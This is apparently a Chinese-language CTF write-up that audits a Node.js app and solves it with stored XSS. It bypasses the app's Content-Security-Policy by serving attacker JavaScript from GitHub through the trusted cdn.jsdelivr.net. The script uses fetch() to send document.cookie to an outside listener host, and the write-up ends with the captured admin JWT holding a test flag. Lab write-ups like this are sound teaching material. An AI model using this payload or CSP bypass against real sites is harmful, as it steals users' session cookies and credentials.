题目中有附件,进行代码审计。

/routes/index.js 中有三个 api 路由:

  • /api/submit :接收用户提交的数据并存入 db 中;
  • /admin :验证 admin 身份通过后,查询 db 中的数据;
  • /admin/delete :验证 admin 身份通过后,删除 db 中的数据;
router.post('/api/submit', (req, res) => {
    const { name, phone, career_type, sex } = req.body;

    if (name && phone && career_type && sex) {

        return db.add_info(name, phone, career_type, sex)
            .then(() => {
                res.send(response('你的信息将会被管理员审查'));

                bot.visit();
            })
            .catch(() => res.send(response('服务器内部错误')));
    }

    return res.status(401).send(response('请检查填写内容'));
});

router.get('/admin', AuthMiddleware, (req, res) => {
    if (req.user.user_role !== 'admin') {
        return res.status(401).send(response('未授权'));
    }

    return db.get_info()
        .then((data) => {
            res.render('admin.html', { info_list: data });
        });
});

router.get('/admin/delete', AuthMiddleware, (req, res) => {
    if (req.user.user_role !== 'admin') {
        return res.status(401).send(response('未授权'));
    }

    return db.del_info()
            .then(() => res.send(response('所有信息已删除')));
})

注意到在 /api/submit 路由下,添加完数据之后,调用了 bot.visit(); ,跟进到 bot.js 可以知道,这里是起了一个无头浏览器去访问 /admin.html ,用户提交的数据会在这里进行加载展示,这里会将 flag 写入 cookie 中。

所以解题思路如下:构造 XSS ,使得 bot 在浏览用户数据时触发恶意代码,将 cookie 值盗取,即可获得 flag。

注意到在 index.js 中,对加载的 js 来源进行了限制:

app.use(function (req, res, next) {
    res.setHeader(
        "Content-Security-Policy",
        "script-src 'self' https://cdn.jsdelivr.net ; style-src 'self' https://fonts.googleapis.com; img-src 'self'; font-src 'self' https://fonts.gstatic.com; child-src 'self'; frame-src 'self'; worker-src 'self'; frame-ancestors 'self'; form-action 'self'; base-uri 'self'; manifest-src 'self'"
    );
    next();
});

为了能让恶意 js 代码能够被执行,这里还需要进行 CSP 注入。

可以使用 csp-evaluator 来分析 CSP 存在哪些缺陷:

因为 cdn.jsdelivr.net 是程序信任的域,存在一种方式,可以让 cdn.jsdelivr.net 使用特定 GitHub 仓库的代码,所以可以通过在 GitHub 上创建一个恶意 Js 代码,然后让 cdn.jsdelivr.net 使用它,再在程序中加载 cdn.jsdelivr.net 所使用的恶意代码,就实现了攻击的目的。

cdn.jsdelivr.net 使用 GitHub 代码的方式如下:

https://cdn.jsdelivr.net/gh/user/repo@version/file

其中,version 是 commit 的 id 值。

找一台 VPS ,起一个 http 服务,用于接收数据:

python3 -m http.server 9999

在 GitHub 创建一个仓库,写入恶意 js 代码:

fetch('http://sy.yvling.cn:9999?cookie=' + document.cookie);

commit id 为:2af9fa3a9577eb62de356446bd42716ccf096410

所以 payload 为:

<script src="https://cdn.jsdelivr.net/gh/yvl1ng/XSS@2af9fa3a9577eb62de356446bd42716ccf096410/get_cookies.js"></script>

提交之后,监听的 VPS 上即可收到结果:

得到的 jwt ,在 jwt.io 解码即可:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwidXNlcl9yb2xlIjoiYWRtaW4iLCJmbGFnIjoiZmxhZ3t0aGlzX2lzX2FfdGVzdF9mbGFnfVxuIiwiaWF0IjoxNzMwMjgxOTg4fQ.0h8upUoZvqB_6jvFTxB341AXn0_GJp2fVnF4691uNvY